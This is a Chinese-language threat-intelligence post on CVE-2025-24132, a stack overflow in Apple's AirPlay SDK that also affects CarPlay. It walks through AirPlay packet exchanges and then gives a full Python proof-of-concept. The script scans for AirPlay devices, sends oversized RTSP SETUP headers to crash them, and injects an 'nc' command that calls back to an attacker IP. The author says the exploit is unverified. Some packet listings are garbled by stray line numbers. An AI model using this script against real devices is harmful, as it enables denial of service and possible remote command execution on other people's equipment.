CVE-2025-24132威胁情报分析
威胁情报
- 以色列网络安全公司“Oligo”披露了AirPlay协议中存在的一组漏洞,命名为 “AirBorne” 。其中值得关注的有两个:CVE-2025-24132、CVE-2025-24252。
- 参考文章
前置知识
Airplay是苹果公司推出的一套基于以太网通信的远程音视频播放协议,用来远程播放音频、视屏等等(比如iPhone上的屏幕镜像功能、直播投屏)利用现有的TCP/IP协议栈,增加了一些功能,包括从设备的发现 -> 设备连接 -> 音频/视频流数据的传输。Airplay协议到目前(2025年)基本上历经了2个版本,在版本一中主要采用RTSP协议相TCP/7000传输控制命令,而版本二中,主要采用HTTP协议向TCP/7000传递命令;并且,在airplay2.x版本中,加上了TLS等加密和认证的手段,对传递的内容进行到了加密处理。Airpaly的实现采用C/S架构,下面以iPhone作为Client、支持Apple TV作为Server进行讲述。
| 协议 | 端口 | 作用 |
|---|---|---|
| UDP(mDNS/Bonjour) | 5353 | 发现局域网中的Airplay客户端和服务端 |
| TCP | 7000 | 传输控制相关的命令(RTSP或者HTTP格式) |
| TCP | 7100 | 传输镜像数据(投屏) |
| UDP | 6000/6001 | 传输RTP音频数据 |
通信过程描述
mDNS查询:iPhone利用mDNS(又叫做Bonjour)协议,发现周围支持airplay协议的设备
iPhone通过udp5353端口,向多播地址224.0.0.251发起广播,寻找可用的airplay server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17以太网层:
源MAC: aa:bb:cc:dd:ee:ff (iPhone)
目标MAC: 01:00:5E:00:00:FB (组播地址)
IP层:
源IP: 192.168.1.100
目标IP: 224.0.0.251 (mDNS组播地址)
协议: UDP
UDP层:
源端口: 5353
目标端口: 5353
应用层 (mDNS):
查询类型: PTR
查询名称: _airplay._tcp.local
含义: "谁支持 AirPlay 服务?"设备进行单播响应(其实airplay server也会不停地向外发起广播,发送自己的设备信息)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22以太网层:
源MAC: 11:22:33:44:55:66 (Apple TV)
目标MAC: aa:bb:cc:dd:ee:ff (iPhone)
IP层:
源IP: 192.168.1.200
目标IP: 192.168.1.100 (单播回复)
协议: UDP
UDP层:
源端口: 5353
目标端口: 5353
应用层 (mDNS):
响应类型: PTR
服务名称: Living Room Apple TV._airplay._tcp.local
IP地址: 192.168.1.200
端口: 7000
TXT记录:
- model=AppleTV6,2
- features=0x4A7FDFD5
- srcvers=220.68
TCP三次握手,Server的7000端口上建立连接(苹果的协议家族里面,会在TCP/7000端口上面交互双方的设备信息/控制命令等等,然后在其他端口上面传输实际的通信数据)
1
2
3
4
5
6
7
8
9
10
11
12
13以太网层:
源MAC: aa:bb:cc:dd:ee:ff
目标MAC: 11:22:33:44:55:66
IP层:
源IP: 192.168.1.100
目标IP: 192.168.1.200
TCP层:
源端口: 54321
目标端口: 7000
标志位: SYN
序列号: 10001
2
3
4
5
6TCP层:
源端口: 7000
目标端口: 54321
标志位: SYN+ACK
序列号: 2000
确认号: 10011
2
3
4
5TCP层:
源端口: 543213
目标端口: 70004
标志位: ACK5
确认号: 2001AirPlay协议握手:用来控制多媒体对话,控制暂停、播放、传输格式等方面。


iPhone发起RSTP OPTIONS请求(主要是用来查询Server支持什么样的命令传输方式)
1
2
3
4
5
6
7TCP连接: 192.168.1.100:54321 → 192.168.1.200:7000
应用层数据:
OPTIONS * RTSP/1.0
CSeq: 1
User-Agent: AirPlay/220.68
Client-Instance: FBED9A-6539-4E15-B95A-37A6D88Apple TV回复RSTP OPTIONS响应
1
2
3
4
5RTSP/1.0 200 OK
CSeq: 1
Public: SETUP, RECORD, PAUSE, FLUSH, TEARDOWN, OPTIONS,
GET_PARAMETER, SET_PARAMETER, POST, GET
Server: AirTunes/220.68iPhone发起RSTP SETUP,请求建立媒体流
1
2
3SETUP rtsp://192.168.1.200/stream RTSP/1.0
CSeq: 2
Transport: RTP/AVP/UDP;unicast;mode=record;control_port=6001;timing_port=6002后续步骤省略……
传输音频/视频的二进制数据
通过RTP传输音频数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16IP层:
源IP: 192.168.1.100
目标IP: 192.168.1.200
协议: UDP
UDP层:
源端口: 随机
目标端口: 6000
应用层 (RTP):
版本: 2
载荷类型: 96 (动态)
序列号: 12345
时间戳: 160000
同步源标识: 0xABCDEF12
载荷数据: [AAC编码的音频数据]后续步骤省略……
wireshark抓包
1 | ========================================================== |
CVE-2025-24132
CVE-2025-24132 漏洞的成因是基于栈的缓冲区溢出(stack-based buffer overflow),出现在Apple AirPlay SDK 处理网络数据包的代码路径中。漏洞位于AirPlay SDK的网络数据解析模块中,具体是在处理来自本地网络的AirPlay协议数据包时,未能正确验证输入数据的长度,导致栈缓冲区被溢出覆盖。需要测试人员和目标系统位于同一个局域网(能够相互通信就好)。迄今为止(2025年11月25日),没能找到可以成功复现漏洞的PoC以及exp,YouTuBe上面该漏洞的提交者演示了利用过程,但仍然没有公开PoC。
影响的范围
- Airplay 音频SDK:<2.7.1
- Airplay 视频SDK:<3.6.0
- Carplay通信SDK:<R18.1
为什么Carplay会受到影响
- Carplay的无线通信机制底层依赖AirPlay协议栈,内部集成了AirPlay SDK,而该漏洞位于AirPlay SDK的网络数据解析模块中;
- 利用CVE-2025-24132攻击Carplay:通过iAP2协议连接上车机并自动交互WiFi凭证(蓝牙链路) -> 脚本攻击(WiFi链路)
网络嗅探分析版本
- wireshark抓取7000端口的流量:tcp.port==7000
- 找到发往tcp/7000的数据包,在User-Agent字段中大概率会出现“Airplay/xx.xx.xx”的协议版本号(非标准软件可能会进行修改)
airplay协议版本&airplay SDK对应关系
协议版本(抓包 User-Agent) SDK 版本(MFi 内部) AirPlay/210.x AirPlay Audio SDK < 2.7.1 AirPlay/220.x AirPlay Audio SDK ≥ 2.7.1 AirPlay/310.x AirPlay Video SDK < 3.6.0.126 AirPlay/320.x AirPlay Video SDK ≥ 3.6.0.126 AirPlay/420.x AirPlay Video SDK 3.8+ PoC样例(未能找到合适的目标验证有效性,仅作参考)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
A PoC script for CVE-2025-24132 is made by shaoxinSEC 25/11/2025.
"""
import ifaddr
from scapy.all import *
import os, sys, socket, time, ipaddress
from zeroconf import Zeroconf, ServiceBrowser, ServiceInfo
# --------- 配置 ----------
OVERFLOW_SIZES = [0x1200, 0x2000] # 4608 & 8192
LISTEN_ADDR = "172.20.10.6" # 攻击机IP(尝试nc外带命令)
LISTEN_PORT = 4445 # 攻击机PORT
TIMEOUT = 3
# -------------------------
airplay_devices = []
class AirPlayListener:
def remove_service(self, zc, type_, name):
pass
def add_service(self, zc, type_, name):
info = zc.get_service_info(type_, name)
if info:
addr = socket.inet_ntoa(info.addresses[0])
port = info.port
props = {k.decode().lower(): v.decode() for k, v in info.properties.items()}
airplay_devices.append({
'name': name.split('.')[0],
'ip': addr,
'port': port,
'model': props.get('model', 'Unknown'),
'features': props.get('features', '0')
})
def update_service(self, zc, type_, name):
pass
def check_port(ip, port, timeout=2):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
return s.connect_ex((ip, port)) == 0
def crash_target(ip, port, size):
cmd = f"echo CVE-2025-24132|nc {LISTEN_ADDR} {LISTEN_PORT}\n"
pkt = (
f"SETUP rtsp://{ip}/airplay RTSP/1.0\r\n"
f"CSeq: 1\r\n"
f"Session-ID: {'A'*size}\r\n"
f"Authorization: Basic {'B'*0x400}\r\n"
f"User-Agent: AirPlay/310.17 " + cmd + "\r\n\r\n"
).encode()
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(TIMEOUT)
s.connect((ip, port))
s.send(pkt)
except Exception:
pass
def heur_vuln(model, features):
"""旧model或低特征位 => 可能旧SDK"""
vuln_models = ['AppleTV2,1', 'AirPort10,115', 'CarPlay1,1', 'Audio2,1']
if any(m in model for m in vuln_models): return True
try:
if int(features, 16) & 0xFF == 0: return True
except: pass
return False
def get_all_ipv4_interfaces():
"""使用本机所有的IPv4网络接口"""
addrs = []
for adapter in ifaddr.get_adapters():
for ip in adapter.ips:
if ip.is_IPv4 and not ip.ip.startswith('127.'):
addrs.append(ip.ip)
return list(set(addrs))
def query_airplay_info(ip: str, port: int = 7000, timeout: float = 2.0):
"""先PTR扫实例名,再拿TXT,解决硬编码名字对不上的问题"""
zc = Zeroconf()
found = None
try:
# 被动监听2秒,把同一IP的任何 *_airplay._tcp记录都拿到
class Snatcher:
def add_service(self, zc, type_, name):
info = zc.get_service_info(type_, name)
if info and socket.inet_ntoa(info.addresses[0]) == ip and info.port == port:
nonlocal found
found = info
remove_service = update_service = lambda *_: None
browser = ServiceBrowser(zc, "_airplay._tcp.local.", Snatcher())
time.sleep(timeout)
browser.cancel()
if found:
return {
'name': found.name.split('.')[0],
'model': found.properties.get(b'model', b'Unknown').decode(),
'features': hex(int.from_bytes(found.properties.get(b'features', b'0'), 'big'))
}
finally:
zc.close()
return None
def main():
if len(sys.argv) > 1: # 指定单个目标
ip, port = sys.argv[1], int(sys.argv[2]) if len(sys.argv) > 2 else 7000
info = query_airplay_info(ip, port)
if info:
airplay_devices.append({**info, 'ip': ip, 'port': port})
else:
airplay_devices.append({
'name': 'Manual-Target',
'ip': ip, 'port': port,
'model': 'Unknown', 'features': '0'
})
else: # 监听所有网络接口
interfaces = get_all_ipv4_interfaces()
print("[*] 将在以下接口监听mDNS:", interfaces)
zc = Zeroconf(interfaces=interfaces)
ServiceBrowser(zc, "_airplay._tcp.local.", AirPlayListener())
time.sleep(3)
zc.close()
if not airplay_devices:
print("[-] 未发现任何AirPlay设备")
return
for dev in airplay_devices:
print("\n" + "="*60)
print(f"[+] 设备{dev['name']} {dev['ip']}:{dev['port']}")
print(f" model={dev['model']} features=0x{dev['features']}")
if not check_port(dev['ip'], dev['port']):
print(" [-] 端口不通,跳过"); continue
if heur_vuln(dev['model'], dev['features']):
print(" [!] 可能使用旧SDK,尝试进行溢出并执行命令")
else:
print(" [!] 版本特征较新,尝试进行溢出并执行命令")
# 本地临时监听回显
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.settimeout(8)
try:
listener.bind(('0.0.0.0', LISTEN_PORT))
listener.listen(1)
except:
listener = None
for sz in OVERFLOW_SIZES:
print(f" [*] 已发送 {sz}B 溢出载荷")
crash_target(dev['ip'], dev['port'], sz)
time.sleep(2)
still_up = check_port(dev['ip'], dev['port'])
if not still_up:
print(f" [!!!]{sz}B成功触发崩溃 → 漏洞存在!")
break
else:
print(" [-] 漏洞可能已修复")
if listener:
try:
conn, _ = listener.accept()
if b"CVE-2025-24132" in conn.recv(128):
print(" [!!!] 同时收到命令回显 → 可利用")
conn.close()
except socket.timeout: pass
listener.close()
if __name__ == "__main__":
banner = """
__ __ ______ ________ ______
/ | / | / \\ / | / \\
_______ $$ |____ ______ ______ __ __ $$/ _______ /$$$$$$ |$$$$$$$$/ /$$$$$$ |
/ |$$ \\ / \\ / \\ / \\ / |/ |/ \\ $$ \\__$$/ $$ |__ $$ | $$/
/$$$$$$$/ $$$$$$$ | $$$$$$ |/$$$$$$ |$$ \\/$$/ $$ |$$$$$$$ |$$ \\ $$ | $$ |
$$ \\ $$ | $$ | / $$ |$$ | $$ | $$ $$< $$ |$$ | $$ | $$$$$$ |$$$$$/ $$ | __
$$$$$$ |$$ | $$ |/$$$$$$$ |$$ \\__$$ | /$$$$ \\ $$ |$$ | $$ |/ \\__$$ |$$ |_____ $$ \\__/ |
/ $$/ $$ | $$ |$$ $$ |$$ $$/ /$$/ $$ |$$ |$$ | $$ |$$ $$/ $$ |$$ $$/
$$$$$$$/ $$/ $$/ $$$$$$$/ $$$$$$/ $$/ $$/ $$/ $$/ $$/ $$$$$$/ $$$$$$$$/ $$$$$$/
Detect CVE-2025-24132
"""
print(banner)
main()